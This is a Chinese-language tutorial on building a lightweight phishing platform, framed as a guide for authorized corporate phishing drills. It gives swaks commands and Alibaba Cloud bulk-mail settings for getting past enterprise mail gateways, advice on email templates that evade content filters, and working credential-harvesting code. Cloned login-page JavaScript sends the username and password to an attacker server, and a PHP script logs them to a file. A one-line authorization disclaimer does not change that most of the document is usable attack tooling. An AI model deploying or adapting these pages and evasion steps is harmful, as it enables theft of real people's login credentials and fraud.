轻量级钓鱼邮件平台搭建
字数 1513 2025-08-22 12:22:59
轻量级钓鱼邮件平台搭建教学文档
一、背景与问题分析
在企业钓鱼邮件演练中,常见问题包括:
- 企业邮箱服务(如云企业邮箱)对非白名单域名的邮件拦截
- GoPhish自建邮箱服务发送的邮件无法到达目标邮箱(包括垃圾箱)
- GoPhish代发功能存在bug
二、解决方案概述
使用轻量化方案替代传统方案:
- 不使用ewomail/postfix等邮件服务器
- 自建简易接收端代替GoPhish
- 通过swaks+邮件推送服务发送邮件
- 绕过企业邮箱网关拦截
三、邮件拦截机制分析
1. 邮件分数系统
- 邮件分数决定邮件去向(拒收/垃圾箱/收件箱)
- 分数越高,垃圾邮件可能性越低
- 评分参考网站:https://www.mail-tester.com/
2. 防护检测机制
- 类似杀毒软件的双重检测:
- 静态扫描:邮件发送方审核
- 动态行为查杀:邮件内容分析
- 不同邮箱服务权重分配不同(如70%内容+30%来源)
四、提高邮件分数的方法
1. 提高域名权威度
- 使用大厂邮件推送平台(如阿里云邮件推送)
- 优点:高信誉度、高送达率
2. 邮件推送平台配置(以阿里云为例)
域名配置步骤:
- 注册域名
- 按官方文档配置域名解析
- 验证域名状态(需显示"验证通过")
发信地址配置:
- 选择已验证域名
- 账号命名策略:
- admin(管理员)
- it(IT部门)
- cw(财务部)
- 发信类型选择"批量邮件"(提高发件宽容度)
五、邮件发送工具 - swaks
1. 基本测试命令
./swaks --to target@qq.com \
--from it@abc.com \
--body "testbody" \
--header "Subject:title" \
--server smtpdm.aliyun.com \
-p 25 \
-au it@abc.com \
--ap password
2. 常用参数说明
--to:目标邮箱--from:发件人邮箱--body:邮件内容--header:邮件头--server:代发服务器-p:端口号-au/--ap:认证账号/密码--data:导入邮件文件
六、邮件模板制作
1. 内容设计原则
- 包含文字、图片等丰富内容
- 避免敏感关键词:
- 登录、账号密码
- 联系方式、加群
- 转账、政治敏感词汇
2. 邮件格式处理
- 从目标邮箱系统导出邮件模板
- 删除无关header:
- X-QQ-mid
- X-QQ-XMAILINFO
- Date(如需保持发送时间一致)
- 修改base64内容相关字段
3. 编码问题解决
乱码问题通常由以下不匹配引起:
- base64加密内容
- Content-Type的charset设置
示例正确配置:
Content-Type: text/html; charset=GBK
Content-Transfer-Encoding: base64
[base64编码内容]
4. 最终发送命令
./swaks --to 目标邮箱.com \
--from it@abc.com \
--server smtpdm.aliyun.com \
-p 25 \
-au it@abc.com \
--ap password \
--data data.eml
七、钓鱼网站搭建
1. 环境准备
- 使用Docker拉取PHP环境(如vulhub)
- 网站路径:/var/www/html
2. 前端制作
制作方法:
- 使用浏览器插件(如SingleFile)克隆目标页面
- 添加自定义form表单
示例HTML核心代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>title</title>
<script src="http://libs.baidu.com/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<div class="login">
<div class="title">登录</div>
<div action="" class="login-form">
<input class="form-input" name="username" placeholder="账号" id="username" type="text" value="" />
<input class="form-input" name="password" placeholder="密码" type="password" value="" />
<div class="checkbox-group" style="height:30px"> </div>
<p><button class="form-submit" onclick="login()">登录</button></p>
</div>
</div>
</body>
</html>
<script type="text/javascript">
function login() {
var name = document.getElementById("username");
if(!$('input[name=username]').val().trim()) {
alert('请输入账号')
return
} else if(!$('input[name=password]').val().trim()) {
alert('请输入密码')
return
}
username = $("input[name='username']").val();
password = $("input[name='password']").val();
$.ajaxSetup({async: false});
$.ajax({
url: "http://vps:8080/index.php", //后端接收地址
method: "post",
async: false,
data: 'user=' + username + '&pass=' + password,
success: function(data) {
if(data == "ok") {
console.log(data, "ok")
} else {
console.log(data, "error")
}
}
})
window.location.href = "http://url/"; //提交后跳转
}
</script>
3. 后端接收代码
PHP接收脚本示例:
<?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:POST, GET');
header('Access-Control-Allow-Headers:x-requested-with,content-type');
$user = @$_POST['user'];
$pass = @$_POST['pass'];
echo $user;
if($user != null){
echo "ok";
$myfile = fopen("testfile.txt", "a+");
fwrite($myfile, $user."---".$pass."\r\n");
fclose($myfile);
} else {
echo "error";
}
?>
功能说明:
- 接收前端POST数据
- 将账号密码写入文本文件(testfile.txt)
- 格式:username---password
- 支持跨域请求
八、注意事项
-
邮件推送服务限制:
- 阿里云邮件推送每日限额2000封
- 控制台使用时需配置发信地址和模板(需审核)
-
邮件内容优化:
- 不同邮箱系统间可能存在格式兼容问题
- 建议针对目标邮箱系统优化模板
-
钓鱼网站部署:
- 前端页面应尽可能模仿真实网站
- 提交后应有合理的跳转逻辑
- 后端数据存储应定期备份
-
法律合规:
- 仅用于授权测试
- 需获得企业书面授权
- 数据应严格保密
九、总结
本方案通过以下方式实现轻量级钓鱼邮件演练:
- 利用高信誉度邮件推送服务提高送达率
- 使用swaks工具灵活发送邮件
- 精心设计的邮件模板绕过内容检测
- 简易钓鱼网站收集凭证信息
相比传统方案,具有以下优势:
- 无需复杂邮件服务器搭建
- 绕过企业邮箱网关拦截
- 配置灵活,易于调整
- 资源消耗低